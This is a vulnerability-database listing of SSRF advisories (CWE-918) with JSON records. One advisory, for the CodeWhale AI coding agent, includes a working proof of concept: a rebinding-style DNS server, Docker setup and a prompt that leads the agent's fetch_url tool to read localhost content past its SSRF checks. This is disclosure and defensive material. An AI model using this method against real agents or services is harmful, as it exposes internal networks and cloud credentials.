Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5955 vulnerabilities reference this CWE, most recent first.

GHSA-6RGV-QR47-8W9G

Vulnerability from github – Published: 2022-06-16 00:00 – Updated: 2022-06-25 00:00
VLAI
Details

flatCore-CMS version 2.0.8 calls dangerous functions, causing server-side request forgery vulnerabilities.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-41403"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-15T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "flatCore-CMS version 2.0.8 calls dangerous functions, causing server-side request forgery vulnerabilities.",
  "id": "GHSA-6rgv-qr47-8w9g",
  "modified": "2022-06-25T00:00:51Z",
  "published": "2022-06-16T00:00:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41403"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flatCore/flatCore-CMS/issues/60"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6RW9-FMC4-F3GQ

Vulnerability from github – Published: 2026-09-22 18:33 – Updated: 2026-09-22 18:33
VLAI
Details

Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882 contain a server-side request forgery vulnerability in the WebSSH/WebTelnet listener that allows unauthenticated attackers to cause the affected device to establish SSH connections to attacker-controlled endpoints. The custom shellinaboxd builds its SSH connection target using a snprintf call with user-supplied input; by supplying an overlong username string an attacker causes the device IP suffix to be truncated, redirecting the resulting connection to an arbitrary host. Attackers can use this capability to enumerate or communicate with internal network endpoints that would otherwise be inaccessible.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-80148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T16:18:01Z",
    "severity": "HIGH"
  },
  "details": "Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882 contain a server-side request forgery vulnerability in the WebSSH/WebTelnet listener that allows unauthenticated attackers to cause the affected device to establish SSH connections to attacker-controlled endpoints. The custom shellinaboxd builds its SSH connection target using a snprintf call with user-supplied input; by supplying an overlong username string an attacker causes the device IP suffix to be truncated, redirecting the resulting connection to an arbitrary host. Attackers can use this capability to enumerate or communicate with internal network endpoints that would otherwise be inaccessible.",
  "id": "GHSA-6rw9-fmc4-f3gq",
  "modified": "2026-09-22T18:33:28Z",
  "published": "2026-09-22T18:33:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80148"
    },
    {
      "type": "WEB",
      "url": "https://revrb.net/2026/09/21/revrb-lantern.html"
    },
    {
      "type": "WEB",
      "url": "https://ts.lantronix.com/ftp/emg/EMG_7500/9.7.0.1R2"
    },
    {
      "type": "WEB",
      "url": "https://ts.lantronix.com/ftp/emg/EMG_8500/9.7.0.1R2"
    },
    {
      "type": "WEB",
      "url": "https://ts.lantronix.com/ftp/slc8000/9.7.0.3R3"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/lantronix-autonomous-out-of-band-devices-webssh-ssrf-via-username-truncation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6V2G-FPXH-PMMH

Vulnerability from github – Published: 2026-09-04 18:05 – Updated: 2026-09-04 18:05
VLAI
Summary
CodeWhale: SSRF‌ bypass - TOCTOU on DNS failure for DNS pinning
Details

Maintainer resolution

The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.

Summary

DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.

Details

Simplified attack scenario: 1. Attacker asks agent to visit the mydomain.com. 2. CodeWhale tries to resolve the IP of mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS‌ query as failed (Time of Check). 3. CodeWhale allows the code to continue as it expects it request to fail again. 4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1) 5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.

In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However

PoC

This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS‌ server(for PoC, should be placed in dnser/dns_resolver.py:

#!/usr/bin/env python3
"""
Local DNS Resolver — customizable request/response handling.
Uses only the standard library + dnslib.

Usage:
    pip install dnslib
    sudo python dns_resolver.py          # binds to 0.0.0.0:53 by default
    python dns_resolver.py --port 5353   # unprivileged port for testing
"""

import argparse
import socket
import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA


UPSTREAM_DNS = ("8.8.8.8", 53)   # fallback resolver


def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
    """Drop all AAAA requests."""
    if QTYPE[query.q.qtype] == "AAAA":
        reply = query.reply()
        reply.header.rcode = 3  # NXDOMAIN
        return reply
    return None

def handle_blocked(query: DNSRecord) -> DNSRecord | None:
    """Block domains by returning NXDOMAIN."""
    blocked = {"blocked.example.com.", "ads.tracker.io."}
    qname = str(query.q.qname)
    if qname in blocked:
        print(f"  [BLOCKED] {qname}")
        reply = query.reply()
        reply.header.rcode = 3          # NXDOMAIN
        return reply
    return None

failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2

def handle_overrides(query: DNSRecord) -> DNSRecord | None:
    global failer
    """Return hardcoded A records for specific names (split-horizon / local dev)."""
    overrides: dict[str, str] = {
        "myapp.local.":     "127.0.0.1",
        "devserver.local.": "192.168.1.100",
        "mydomain.com.":    "127.0.0.1",
    }
    qname = str(query.q.qname)
    qtype = QTYPE[query.q.qtype]

    if qname in overrides and qtype == "A":
        failer += 1
        cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle
        should_fail = cycle_pos < MAX_FAIL

        print(f"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")

        if should_fail:
            reply = query.reply()
            reply.header.rcode = 3
            reply.header.ra = 0
            return reply

        ip = overrides[qname]
        print(f"  [OVERRIDE] {qname} → {ip}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))
        reply.header.ra = 0
        return reply

    return None


def handle_rewrite(query: DNSRecord) -> DNSRecord | None:
    """Rewrite a CNAME transparently (resolve alias locally)."""
    rewrites: dict[str, str] = {
        # "old.internal.": "new.internal.",
    }
    qname = str(query.q.qname)
    if qname in rewrites:
        target = rewrites[qname]
        print(f"  [REWRITE] {qname} → {target}")
        reply = query.reply()
        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))
        return reply
    return None


def handle_upstream(query: DNSRecord) -> DNSRecord | None:
    """Forward the query to the upstream resolver."""
    try:
        raw = query.pack()
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(3)
        sock.sendto(raw, UPSTREAM_DNS)
        data, _ = sock.recvfrom(4096)
        sock.close()
        reply = DNSRecord.parse(data)
        print(f"  [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}")
        return reply
    except Exception as e:
        print(f"  [UPSTREAM ERROR] {e}")
        return None


# Chain of responsibility — handlers are tried in order; first non-None wins.
HANDLERS = [
    handle_blocked,
    handle_overrides,
    handle_rewrite,
    handle_upstream,
]


# ─────────────────────────────────────────────────────────────────────────────
#  Server plumbing — no need to edit below this line
# ─────────────────────────────────────────────────────────────────────────────

def resolve(data: bytes) -> bytes:
    try:
        query = DNSRecord.parse(data)
        qname = str(query.q.qname)
        qtype = QTYPE[query.q.qtype]
        print(f"[QUERY] {qtype} {qname}")

        for handler in HANDLERS:
            reply = handler(query)
            if reply is not None:
                return reply.pack()

        # Fallback: SERVFAIL
        reply = query.reply()
        reply.header.rcode = 2
        return reply.pack()

    except Exception as e:
        print(f"[ERROR] Failed to parse/handle query: {e}")
        return b""


def udp_server(host: str, port: int) -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((host, port))
    print(f"DNS resolver listening on {host}:{port} (UDP)")
    while True:
        data, addr = sock.recvfrom(4096)
        threading.Thread(
            target=lambda d=data, a=addr: sock.sendto(resolve(d), a),
            daemon=True,
        ).start()


def tcp_server(host: str, port: int) -> None:
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((host, port))
    srv.listen(10)
    print(f"DNS resolver listening on {host}:{port} (TCP)")

    def handle_conn(conn: socket.socket) -> None:
        with conn:
            length_bytes = conn.recv(2)
            if len(length_bytes) < 2:
                return
            length = int.from_bytes(length_bytes, "big")
            data = conn.recv(length)
            response = resolve(data)
            conn.sendall(len(response).to_bytes(2, "big") + response)

    while True:
        conn, _ = srv.accept()
        threading.Thread(target=handle_conn, args=(conn,), daemon=True).start()


def main() -> None:
    parser = argparse.ArgumentParser(description="Local DNS resolver")
    parser.add_argument("--host", default="0.0.0.0", help="Bind address")
    parser.add_argument("--port", type=int, default=53, help="Bind port (use 5353 for unprivileged)")
    args = parser.parse_args()

    t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)
    t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)
    t_udp.start()
    t_tcp.start()

    try:
        t_udp.join()
    except KeyboardInterrupt:
        print("\nShutting down.")


if __name__ == "__main__":
    main()

Docker file to build it(dnser/Dockerfile):

FROM python:3.12-slim

WORKDIR /app

RUN pip install dnslib --no-cache-dir

COPY dns_resolver.py .

EXPOSE 53/udp
EXPOSE 53/tcp

CMD ["python", "-u", "dns_resolver.py", "--host", "0.0.0.0", "--port", "53"]

Then to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:

docker-compose.yml:

services:
  dns-resolver:
    build: dnser
    container_name: dns-resolver
    restart: unless-stopped
    networks:
      dns-net:
        ipv4_address: 10.0.1.2

  a:
    image: ghcr.io/hmbown/deepseek-tui:latest
    container_name: tui
    environment:
      DEEPSEEK_API_KEY: sk-
    stdin_open: true
    tty: true
    dns: 10.0.1.2
    networks:
      - dns-net
    depends_on:
      - dns-resolver
    sysctls:
      net.ipv6.conf.all.disable_ipv6: 1



networks:
  dns-net:
    driver: bridge
    ipam:
      config:
        - subnet: 10.0.1.0/24

Then to check everything we could simply: sudo docker attach tui Prompt: read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output The tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran python3 -m http.server 80 as root to make sure the request can actually read content.

To read the logs from dns-resolver: sudo docker logs -f dns-resolver

Impact

Similar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deepseek-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.5"
            },
            {
              "last_affected": "0.8.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "deepseek-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.5"
            },
            {
              "fixed": "0.8.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "codewhale-tui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.41"
            },
            {
              "fixed": "0.8.64"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "codewhale"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.41"
            },
            {
              "fixed": "0.8.64"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-75856"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-04T18:05:12Z",
    "nvd_published_at": "2026-08-18T16:18:21Z",
    "severity": "CRITICAL"
  },
  "details": "### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.\n\n### Summary\nDNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it\u0027s possible to bypass the logic.\n\n\n### Details\nSimplified attack scenario:\n1. Attacker asks agent to visit the `mydomain.com`.\n2. CodeWhale tries to resolve the IP of `mydomain.com`, however, the custom DNS server that\u0027s controlled by the attacker marks the request DNS\u200c query as failed (Time of Check). \n3. CodeWhale allows the code to continue as it expects it request to fail again.\n4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)\n5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.\n\nIn the [DNS-pinning](https://github.com/Hmbown/CodeWhale/blob/8dff2f7525ead210a01347b48f53ae3f20d094ec/crates/tui/src/tools/fetch_url.rs#L362) section, when DNS fails, the code is allowed to continue as it\u0027s expected to fail. However\n\n### PoC\nThis is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS\u200c server(for PoC, should be placed in `dnser/dns_resolver.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nLocal DNS Resolver \u2014 customizable request/response handling.\nUses only the standard library + dnslib.\n\nUsage:\n    pip install dnslib\n    sudo python dns_resolver.py          # binds to 0.0.0.0:53 by default\n    python dns_resolver.py --port 5353   # unprivileged port for testing\n\"\"\"\n\nimport argparse\nimport socket\nimport threading\nfrom dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA\n\n\nUPSTREAM_DNS = (\"8.8.8.8\", 53)   # fallback resolver\n\n\ndef handle_no_aaaa(query: DNSRecord) -\u003e DNSRecord | None:\n    \"\"\"Drop all AAAA requests.\"\"\"\n    if QTYPE[query.q.qtype] == \"AAAA\":\n        reply = query.reply()\n        reply.header.rcode = 3  # NXDOMAIN\n        return reply\n    return None\n\ndef handle_blocked(query: DNSRecord) -\u003e DNSRecord | None:\n    \"\"\"Block domains by returning NXDOMAIN.\"\"\"\n    blocked = {\"blocked.example.com.\", \"ads.tracker.io.\"}\n    qname = str(query.q.qname)\n    if qname in blocked:\n        print(f\"  [BLOCKED] {qname}\")\n        reply = query.reply()\n        reply.header.rcode = 3          # NXDOMAIN\n        return reply\n    return None\n\nfailer = 0\nMAX_FAIL = 2\nMAX_SUCCESS = 2\n\ndef handle_overrides(query: DNSRecord) -\u003e DNSRecord | None:\n    global failer\n    \"\"\"Return hardcoded A records for specific names (split-horizon / local dev).\"\"\"\n    overrides: dict[str, str] = {\n        \"myapp.local.\":     \"127.0.0.1\",\n        \"devserver.local.\": \"192.168.1.100\",\n        \"mydomain.com.\":    \"127.0.0.1\",\n    }\n    qname = str(query.q.qname)\n    qtype = QTYPE[query.q.qtype]\n\n    if qname in overrides and qtype == \"A\":\n        failer += 1\n        cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle\n        should_fail = cycle_pos \u003c MAX_FAIL\n\n        print(f\"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}\")\n\n        if should_fail:\n            reply = query.reply()\n            reply.header.rcode = 3\n            reply.header.ra = 0\n            return reply\n\n        ip = overrides[qname]\n        print(f\"  [OVERRIDE] {qname} \u2192 {ip}\")\n        reply = query.reply()\n        reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0))\n        reply.header.ra = 0\n        return reply\n\n    return None\n\n\ndef handle_rewrite(query: DNSRecord) -\u003e DNSRecord | None:\n    \"\"\"Rewrite a CNAME transparently (resolve alias locally).\"\"\"\n    rewrites: dict[str, str] = {\n        # \"old.internal.\": \"new.internal.\",\n    }\n    qname = str(query.q.qname)\n    if qname in rewrites:\n        target = rewrites[qname]\n        print(f\"  [REWRITE] {qname} \u2192 {target}\")\n        reply = query.reply()\n        reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60))\n        return reply\n    return None\n\n\ndef handle_upstream(query: DNSRecord) -\u003e DNSRecord | None:\n    \"\"\"Forward the query to the upstream resolver.\"\"\"\n    try:\n        raw = query.pack()\n        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        sock.settimeout(3)\n        sock.sendto(raw, UPSTREAM_DNS)\n        data, _ = sock.recvfrom(4096)\n        sock.close()\n        reply = DNSRecord.parse(data)\n        print(f\"  [UPSTREAM] {query.q.qname} \u2192 {UPSTREAM_DNS[0]}\")\n        return reply\n    except Exception as e:\n        print(f\"  [UPSTREAM ERROR] {e}\")\n        return None\n\n\n# Chain of responsibility \u2014 handlers are tried in order; first non-None wins.\nHANDLERS = [\n    handle_blocked,\n    handle_overrides,\n    handle_rewrite,\n    handle_upstream,\n]\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n#  Server plumbing \u2014 no need to edit below this line\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef resolve(data: bytes) -\u003e bytes:\n    try:\n        query = DNSRecord.parse(data)\n        qname = str(query.q.qname)\n        qtype = QTYPE[query.q.qtype]\n        print(f\"[QUERY] {qtype} {qname}\")\n\n        for handler in HANDLERS:\n            reply = handler(query)\n            if reply is not None:\n                return reply.pack()\n\n        # Fallback: SERVFAIL\n        reply = query.reply()\n        reply.header.rcode = 2\n        return reply.pack()\n\n    except Exception as e:\n        print(f\"[ERROR] Failed to parse/handle query: {e}\")\n        return b\"\"\n\n\ndef udp_server(host: str, port: int) -\u003e None:\n    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    sock.bind((host, port))\n    print(f\"DNS resolver listening on {host}:{port} (UDP)\")\n    while True:\n        data, addr = sock.recvfrom(4096)\n        threading.Thread(\n            target=lambda d=data, a=addr: sock.sendto(resolve(d), a),\n            daemon=True,\n        ).start()\n\n\ndef tcp_server(host: str, port: int) -\u003e None:\n    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    srv.bind((host, port))\n    srv.listen(10)\n    print(f\"DNS resolver listening on {host}:{port} (TCP)\")\n\n    def handle_conn(conn: socket.socket) -\u003e None:\n        with conn:\n            length_bytes = conn.recv(2)\n            if len(length_bytes) \u003c 2:\n                return\n            length = int.from_bytes(length_bytes, \"big\")\n            data = conn.recv(length)\n            response = resolve(data)\n            conn.sendall(len(response).to_bytes(2, \"big\") + response)\n\n    while True:\n        conn, _ = srv.accept()\n        threading.Thread(target=handle_conn, args=(conn,), daemon=True).start()\n\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser(description=\"Local DNS resolver\")\n    parser.add_argument(\"--host\", default=\"0.0.0.0\", help=\"Bind address\")\n    parser.add_argument(\"--port\", type=int, default=53, help=\"Bind port (use 5353 for unprivileged)\")\n    args = parser.parse_args()\n\n    t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True)\n    t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True)\n    t_udp.start()\n    t_tcp.start()\n\n    try:\n        t_udp.join()\n    except KeyboardInterrupt:\n        print(\"\\nShutting down.\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nDocker file to build it(`dnser/Dockerfile`):\n```bash\nFROM python:3.12-slim\n\nWORKDIR /app\n\nRUN pip install dnslib --no-cache-dir\n\nCOPY dns_resolver.py .\n\nEXPOSE 53/udp\nEXPOSE 53/tcp\n\nCMD [\"python\", \"-u\", \"dns_resolver.py\", \"--host\", \"0.0.0.0\", \"--port\", \"53\"]\n```\n\nThen to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:\n\n\n\n`docker-compose.yml`:\n```yaml\nservices:\n  dns-resolver:\n    build: dnser\n    container_name: dns-resolver\n    restart: unless-stopped\n    networks:\n      dns-net:\n        ipv4_address: 10.0.1.2\n\n  a:\n    image: ghcr.io/hmbown/deepseek-tui:latest\n    container_name: tui\n    environment:\n      DEEPSEEK_API_KEY: sk-\n    stdin_open: true\n    tty: true\n    dns: 10.0.1.2\n    networks:\n      - dns-net\n    depends_on:\n      - dns-resolver\n    sysctls:\n      net.ipv6.conf.all.disable_ipv6: 1\n\n\n\nnetworks:\n  dns-net:\n    driver: bridge\n    ipam:\n      config:\n        - subnet: 10.0.1.0/24\n```\n\nThen to check everything we could simply:\n`sudo docker attach tui`\nPrompt: `read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output`\nThe tool will allow the request to go through 127.0.0.1. To make sure it\u0027s not a false-positive I\u0027ve also installed python in CodeWhale container and ran `python3 -m http.server 80` as root to make sure the request can actually read content.\n\nTo read the logs from dns-resolver:\n`sudo docker logs -f dns-resolver`\n\n\n### Impact\nSimilar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.",
  "id": "GHSA-6v2g-fpxh-pmmh",
  "modified": "2026-09-04T18:05:12Z",
  "published": "2026-09-04T18:05:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-6v2g-fpxh-pmmh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75856"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Hmbown/CodeWhale"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/codewhale-before-ssrf-bypass-via-dns-pinning-toctou"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CodeWhale: SSRF\u200c bypass - TOCTOU on DNS failure for DNS pinning"
}

GHSA-6V4M-2C3X-C677

Vulnerability from github – Published: 2026-09-08 09:35 – Updated: 2026-09-08 09:35
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in John Darrel Hide My WP Ghost allows Server Side Request Forgery.

This issue affects Hide My WP Ghost: from n/a through 7.0.09.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-81806"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T08:17:13Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in John Darrel Hide My WP Ghost allows Server Side Request Forgery.\n\nThis issue affects Hide My WP Ghost: from n/a through 7.0.09.",
  "id": "GHSA-6v4m-2c3x-c677",
  "modified": "2026-09-08T09:35:38Z",
  "published": "2026-09-08T09:35:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81806"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/hide-my-wp/vulnerability/wordpress-hide-my-wp-ghost-plugin-7-0-09-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6V67-2WR5-GVF4

Vulnerability from github – Published: 2024-12-19 18:31 – Updated: 2025-01-03 19:06
VLAI
Summary
QOS.CH logback-core Server-Side Request Forgery vulnerability
Details

Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML.

The attacks involves the modification of DOCTYPE declaration in  XML configuration files.

Severity
2.4 (Low)
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.5.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-12801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-19T22:22:44Z",
    "nvd_published_at": "2024-12-19T17:15:08Z",
    "severity": "LOW"
  },
  "details": "Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML.\n \nThe attacks involves the modification of DOCTYPE declaration in\u00a0 XML configuration files.",
  "id": "GHSA-6v67-2wr5-gvf4",
  "modified": "2025-01-03T19:06:48Z",
  "published": "2024-12-19T18:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12801"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/commit/5f05041cba4c4ac0a62748c5c527a2da48999f2d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qos-ch/logback"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.3.15"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.5.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear",
      "type": "CVSS_V4"
    }
  ],
